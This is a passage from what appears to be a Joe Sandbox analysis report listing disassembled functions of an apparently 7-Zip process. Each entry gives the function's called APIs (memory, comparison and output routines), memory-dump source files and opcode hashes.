                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FB7E4
                                                                                                                                                                                                                                                                • Part of subcall function 006B2300: fputc.MSVCRT ref: 006B2311
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputcfputs
                                                                                                                                                                                                                                                              • String ID: Scan $Scanning the drive:
                                                                                                                                                                                                                                                              • API String ID: 269475090-1085461122
                                                                                                                                                                                                                                                              • Opcode ID: 4a104878c2e5f0d323a3430e672efaa3bd5f76afab79e0bd6a72b63798dffa16
                                                                                                                                                                                                                                                              • Instruction ID: 105faccd1b1aeead36602069608ae4755a8e30b375fe2d2c5d2db0ca93a1f92c
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4a104878c2e5f0d323a3430e672efaa3bd5f76afab79e0bd6a72b63798dffa16
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A1E026A5701883C0CE45EB29DA503AC1322AB44BE4F945531DE0D07324EF18C4DAC300
                                                                                                                                                                                                                                                              Function 006DEC5C Relevance: 5.3, APIs: 4, Instructions: 261COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DECEE
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DECF6
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DEFE3
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DEFEB
                                                                                                                                                                                                                                                                • Part of subcall function 006B4D78: free.MSVCRT ref: 006B4DBC
                                                                                                                                                                                                                                                                • Part of subcall function 006B4D78: free.MSVCRT ref: 006B4DC4
                                                                                                                                                                                                                                                                • Part of subcall function 006B4D78: free.MSVCRT ref: 006B4EAC
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 2568c4c8a93fed0a7db5756fe4b5abc77c557bdbfdb6e41abb2639136c3796b8
                                                                                                                                                                                                                                                              • Instruction ID: af6a924d63b832263abaf4f19b47bea9a3a7990110c6beb592975ac173269ee0
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2568c4c8a93fed0a7db5756fe4b5abc77c557bdbfdb6e41abb2639136c3796b8
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 48A1E072B04B81D6CB20EF26D4843AE7762F784B84F44412BDF9A4B795EB7AC955C700
                                                                                                                                                                                                                                                              Function 006B59E0 Relevance: 5.1, APIs: 4, Instructions: 117COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-0
                                                                                                                                                                                                                                                              • Opcode ID: 690fc6323045f1499638e60008430e199e5b92b8d4d6359a2f546a67527e5006
                                                                                                                                                                                                                                                              • Instruction ID: 3dc48b3d8b02d2a8eb50fad456408a958e9ea5230bb909a8eaad3452937c8365
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 690fc6323045f1499638e60008430e199e5b92b8d4d6359a2f546a67527e5006
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A641A6B3204E80968B60EF26E4911EEB762F781FE47544216EB5B27769DF34C8D2C705
                                                                                                                                                                                                                                                              Function 006E25DC Relevance: 5.1, APIs: 4, Instructions: 100COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 2d395fef6bf6d2161f205ad2dbd11117f8f32b2c6da05af5b4328dea44ce9941
                                                                                                                                                                                                                                                              • Instruction ID: c355e602b6c2e833e782a96c63d5333d277b5d19c90c14238e61c5e763f58091
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2d395fef6bf6d2161f205ad2dbd11117f8f32b2c6da05af5b4328dea44ce9941
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4341C3A650E7C182CB758B22A074AEFBB7BF385784F054106CBC953B5ACE38C884CB44
                                                                                                                                                                                                                                                              Function 006C6B58 Relevance: 5.1, APIs: 4, Instructions: 99COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 87ddd31ae5fda347235228c36177d9caa1af38e3f2d78a0fbcc62b30e0d1f058
                                                                                                                                                                                                                                                              • Instruction ID: d88b9d29d8c7a0d03eeb7fd1498445825ea93013c4be720a833fd8468d6dfeb8
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 87ddd31ae5fda347235228c36177d9caa1af38e3f2d78a0fbcc62b30e0d1f058
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8631D27761568086CB609F29D450BF937A2F788BE4F14422AFFAA47794CB34C842C718
                                                                                                                                                                                                                                                              Function 006DA034 Relevance: 5.1, APIs: 4, Instructions: 81COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-0
                                                                                                                                                                                                                                                              • Opcode ID: 67c0837a8ac08b8e7b81d59f219567057fac08a4c31a6893a672a0fe60d58eed
                                                                                                                                                                                                                                                              • Instruction ID: 17e6011b0aad27e04e64c24a64e6afd7a0a1dddfe8f66983435db87ebd77b4b3
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 67c0837a8ac08b8e7b81d59f219567057fac08a4c31a6893a672a0fe60d58eed
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 59213B73A05B8049DB156FB6EC513B96397BB45B98F1C812ADF590B380DF74C886C311
                                                                                                                                                                                                                                                              Function 006B4B58 Relevance: 5.1, APIs: 4, Instructions: 80COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-0
                                                                                                                                                                                                                                                              • Opcode ID: 7b8be88fbbd6b5478f1b8fe33e7292913211728ee70c3487ba27a43df7afdd97
                                                                                                                                                                                                                                                              • Instruction ID: 01ca27d36734747d913fd435574a629697d6f580d3bf3ff48f9a252d772bd4c7
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7b8be88fbbd6b5478f1b8fe33e7292913211728ee70c3487ba27a43df7afdd97
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2F2195B7612A9485CB11DF2AD4106A97363E784FE4B198229DF6D0B399DF38DC82C354
                                                                                                                                                                                                                                                              Function 006C7780 Relevance: 5.1, APIs: 4, Instructions: 66COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • EnterCriticalSection.KERNEL32 ref: 006C779B
                                                                                                                                                                                                                                                              • LeaveCriticalSection.KERNEL32 ref: 006C77A7
                                                                                                                                                                                                                                                              • EnterCriticalSection.KERNEL32 ref: 006C783C
                                                                                                                                                                                                                                                              • LeaveCriticalSection.KERNEL32 ref: 006C7848
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CriticalSection$EnterLeave
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3168844106-0
                                                                                                                                                                                                                                                              • Opcode ID: 905f98d841eae4ab66d526709c79df53eb5328ecb6ed6fba7ada2edbd53a37aa
                                                                                                                                                                                                                                                              • Instruction ID: 5064c7fbb26791547370fc76aa9c9d7bc294ad7574ab91eff30b9b625f6734fa
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 905f98d841eae4ab66d526709c79df53eb5328ecb6ed6fba7ada2edbd53a37aa
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1B212326705B4097CB209F2AE99476933B1FB48B98F285136EF4E47B14DF38D8A5CB04
                                                                                                                                                                                                                                                              Function 006DE7A0 Relevance: 5.1, APIs: 4, Instructions: 57COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ExceptionThrowmalloc
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2043655614-0
                                                                                                                                                                                                                                                              • Opcode ID: 85820a4b7cfbf62d825ef575ed64e4517ae2fd90292bd41fdaee0927cf1864a6
                                                                                                                                                                                                                                                              • Instruction ID: 938e6eacad6dc79bed39510a977deb52ab5c50f3474522dfbe3990e45ad2266c
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 85820a4b7cfbf62d825ef575ed64e4517ae2fd90292bd41fdaee0927cf1864a6
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3F1175B2A11B8081CB60EF25D85125D73A6F7C5BE0F20822AEB9D07768DF35C895C744
                                                                                                                                                                                                                                                              Function 006F75A4 Relevance: 5.1, APIs: 4, Instructions: 54COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: memcmp
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1475443563-0
                                                                                                                                                                                                                                                              • Opcode ID: 26e0d05632ee771259b6d8779e1bb14a2af1a10e0c5519a103b38d64912a3de7
                                                                                                                                                                                                                                                              • Instruction ID: 56c9698c82aa1abb57942b8ce858e08e8223ac9513bdc3af8bbef2b9dd4d3526
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 26e0d05632ee771259b6d8779e1bb14a2af1a10e0c5519a103b38d64912a3de7
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C50192B230DB4995EB049F2B99613F426579B49FC4F84A4358F098B315EF38D966C318
                                                                                                                                                                                                                                                              Function 006DC8E8 Relevance: 5.1, APIs: 4, Instructions: 54COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: memcmp
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1475443563-0
                                                                                                                                                                                                                                                              • Opcode ID: ebbf41f14a031a46e4a55ff2dc776043666cb55a5837aa6e1a48b56d902b4385
                                                                                                                                                                                                                                                              • Instruction ID: 0755158d235ba72ed61798ca6b7a2f6354fdfca69b4fb8ea918313574a43f27e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ebbf41f14a031a46e4a55ff2dc776043666cb55a5837aa6e1a48b56d902b4385
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8201F9B2B0870A81EB04DF279C713B826169B45FE4F849026CF094B301EF78D966C304
                                                                                                                                                                                                                                                              Function 006C3A0C Relevance: 5.1, APIs: 4, Instructions: 54COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: memcmp
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1475443563-0
                                                                                                                                                                                                                                                              • Opcode ID: fea3fd7b45b55f817435c8431d97fe1bf12a638175959c43ee92c8fc165712c7
                                                                                                                                                                                                                                                              • Instruction ID: 7c7d362857d9cbbb38140eb588b01a7f6e8543f56e5065afebe0f576fce45ee6
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: fea3fd7b45b55f817435c8431d97fe1bf12a638175959c43ee92c8fc165712c7
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A80122A230871491EB08DF629C613B42627DB49FC0F84E029CF0A47316EB38DA62C308
                                                                                                                                                                                                                                                              Function 006DCE98 Relevance: 5.1, APIs: 4, Instructions: 54COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: memcmp
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1475443563-0
                                                                                                                                                                                                                                                              • Opcode ID: 3300147bea888004f54cd18b7a1711a170f8e79cb67e40ec15571cdf7fcd0c60
                                                                                                                                                                                                                                                              • Instruction ID: bc909c07f68ef1525992929337010b6501e4d04835cf7a9a49595f1bdb664bb6
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3300147bea888004f54cd18b7a1711a170f8e79cb67e40ec15571cdf7fcd0c60
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A101C0E2B0874A91EB04DF279C553E42B279B49FE4F849426CF0987315EF38DA56C308
                                                                                                                                                                                                                                                              Function 006B538C Relevance: 5.1, APIs: 4, Instructions: 53COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: ea9aa8451205e714d2d2deee7ad544f8e48fe2026ff0a9e62e11d2d899170449
                                                                                                                                                                                                                                                              • Instruction ID: 735677f11a7699db97675b1a7b0b5c77508dcbe91ee093c6368558b0df898782
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ea9aa8451205e714d2d2deee7ad544f8e48fe2026ff0a9e62e11d2d899170449
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: EB0175E2710E95859921AE5BD8906EE6755AB55BE571D4219EF290B740EFA0C8C3C300
                                                                                                                                                                                                                                                              Function 006D1474 Relevance: 5.0, APIs: 4, Instructions: 35COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: efa2551094f8694e9312fa94f2ef5c0b0e1a7981b61eb5219889216caf8af953
                                                                                                                                                                                                                                                              • Instruction ID: bed2abd05c89c6679b5a0c2f7e352f61580002efc5ac1533ea5e786112372192
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: efa2551094f8694e9312fa94f2ef5c0b0e1a7981b61eb5219889216caf8af953
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: BDF0E993B0158499CA10EE2BDCA01E82396AF46FA871C0235EF1D0B304DE60CC828300
                                                                                                                                                                                                                                                              Function 006F7968 Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
